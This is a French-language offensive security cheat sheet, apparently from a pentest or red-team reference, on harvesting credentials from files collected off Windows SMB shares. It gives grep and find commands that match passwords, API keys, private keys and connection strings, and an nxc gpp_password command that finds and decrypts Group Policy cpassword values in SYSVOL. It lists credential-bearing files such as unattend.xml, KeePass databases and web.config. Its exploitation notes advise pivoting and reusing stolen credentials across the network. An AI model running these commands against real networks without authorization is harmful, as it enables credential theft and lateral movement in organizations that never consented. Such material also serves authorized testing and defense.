Le butin de plus grande valeur dans les partages, ce sont les identifiants, et ils apparaissent sous des formes prévisibles. L'approche consiste à extraire les fichiers probables et à faire correspondre des motifs de façon agressive, et à rechercher spécifiquement les fichiers connus porteurs d'identifiants que Windows et les applications laissent dans les partages.
Correspondance de motifs pour les secrets embarqués#
# across downloaded share content
grep -rinE 'password|passwd|pwd=|secret|api[_-]?key|BEGIN (RSA|OPENSSH) PRIVATE KEY' ./loot
grep -rinE 'connectionstring|Data Source=|User Id=|Server=.*;Password=' ./loot
# config/script types that commonly carry them
find ./loot -iregex '.*\.\(config\|ini\|xml\|ps1\|bat\|cmd\|vbs\|json\|yml\|yaml\)$'
Fichiers connus porteurs d'identifiants#
# SYSVOL Group Policy Preferences cpassword (AES key is public -> decryptable)
# \\<domain>\SYSVOL\<domain>\Policies\*\{Machine,User}\Preferences\*\Groups.xml
nxc smb <dc> -u user -p 'pass' -M gpp_password # finds + decrypts cpassword
# unattend / sysprep answer files with local admin creds
find ./loot -iname 'unattend.xml' -o -iname 'sysprep.inf' -o -iname 'autounattend.xml'
# saved keys and secret stores
find ./loot -iname 'id_rsa' -o -iname '*.ppk' -o -iname '*.pem' -o -iname '*.kdbx'
# web/app config with DB and service creds
find ./loot -iname 'web.config' -o -iname '.env' -o -iname '*.rdp'
Le cpassword de stratégie de groupe est un classique : il était chiffré avec une clé que Microsoft a publiée, si bien que tout Groups.xml (ou fichier Preferences associé) dans SYSVOL contenant cpassword est trivialement déchiffrable en un identifiant utilisable (souvent administrateur local), et SYSVOL est lisible par tout utilisateur du domaine.
Notes d'exploitation#
SYSVOLest lisible par tout utilisateur du domaine authentifié, si bien que la chasse aucpasswordGPP est un gain précoce fiable là où subsistent d'anciens fichiers Preferences ;gpp_passwordles trouve et les déchiffre.- Les fichiers de réponses unattend/sysprep contiennent fréquemment un mot de passe d'administrateur local réutilisé sur tout un déploiement, ce qui rend une seule découverte largement utile.
- Les clés privées et bases KeePass récupérées permettent de pivoter plus loin (SSH, déchiffrer le coffre hors ligne) ; les chaînes de connexion donnent un accès à la base de données.
- Réinjectez les identifiants récupérés dans l'énumération des partages en tant que nouvelle identité et dans le réseau plus large ; de nombreux identifiants trouvés dans les partages sont réutilisés.